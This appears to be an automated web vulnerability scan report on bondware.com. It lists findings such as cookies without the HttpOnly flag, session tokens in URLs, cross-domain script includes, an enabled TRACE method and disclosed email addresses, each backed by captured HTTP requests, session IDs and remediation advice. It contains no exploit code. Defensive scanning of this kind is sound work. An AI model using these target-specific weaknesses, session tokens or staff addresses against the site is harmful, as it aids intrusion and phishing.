There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=969t8cpec842mfjil4tcbdpun0; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ajax/slideshow.php?SID=5t8et8bl51i4lld7qvb1ukor70&s=66&l=5&r=0.1942067485443014 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /mod/bcs/index.php?ViewProduct=68 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:36 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 22581
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /mod/ecs/index.php?TopID=1 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 65021
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" > <meta n ...[SNIP]... </script> <script type="text/javascript" language="javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> ...[SNIP]... </a> | <a href="https://bw30.bondwaresite.com/mod/ecs/checkout.php?CheckOutAuthLogin=Yes" class="ecs_nav_link">Check Out</a> ...[SNIP]... class="ecs_summ_long">Let your site members throw up some comments on a virtual wall ... Graffiti Wall... Random font sizes. etc are used to make this wall more appealing... For an example, check out <a class="sales_link" href="http://www.renderosity.com/mod/graffitiwall/index.php">http://www.renderosity.com/mod/graffitiwall/index.php</a> ...[SNIP]... ed Flash (FLV) videos from their website. The module features include: automatic conversion of most popular video formats to FLV format on upload, video files can be optionally stored/served via <a class="sales_link" href="http://www.amazon.com/gp/browse.html?node=16427261">Amazon's S3 service</a> ...[SNIP]... fter installing this module, Bondware customers will be able to broadcast compressed Flash (FLV) videos from their website. The module features include: video files can be optionally stored/served via <a class="sales_link" href="http://www.amazon.com/gp/browse.html?node=16427261">Amazon's S3 service</a> ...[SNIP]... </font> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> ...[SNIP]...
6. Cross-domain script includepreviousnext There are 21 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /bondware-ebusiness-services-pricing-php-hourly-rates-web-design-hourly-rates-nashville-web-services-cms-373 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32180
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /bondware-website-training-services-cms-459 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:17 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25498
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /business-website-cms-457 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30635
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /content-management-services-cms-461 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24500
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /e-commerce-for-shops-and-marketplaces-cms-247 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:01:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34893
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /ebusiness-services-web-2-0-software-services-cms-283 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34503
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /email-marketing-cms-402 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32954
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /helpvideos.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 27877
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /home-owner-association-website-cms-245 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36972
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:01:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33384
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /login.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 40512
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /mod/bcs/index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 75754
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /mod/ecs/index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 75747
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /online-newspaper-website-software-cms-251 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34263
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /support-contracts-cms-460 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24616
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /tos.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38944
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /trade-association-website-cms-246 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:10 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31540
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
GET /website-hosting-pricing-cms-372 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31734
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /bondware-ebusiness-services-pricing-php-hourly-rates-web-design-hourly-rates-nashville-web-services-cms-373 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32180
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email addresses were disclosed in the response:
dcon@bondware.com
sales@bondware.com
Request
GET /bondware-website-training-services-cms-459 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:17 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25498
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /business-website-cms-457 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30635
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email addresses were disclosed in the response:
dcon@bondware.com
sales@bondware.com
Request
GET /content-management-services-cms-461 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24500
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /e-commerce-for-shops-and-marketplaces-cms-247 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:01:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34893
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /ebusiness-services-web-2-0-software-services-cms-283 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34503
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /email-marketing-cms-402 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32954
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /helpvideos.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 27877
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /home-owner-association-website-cms-245 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36972
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
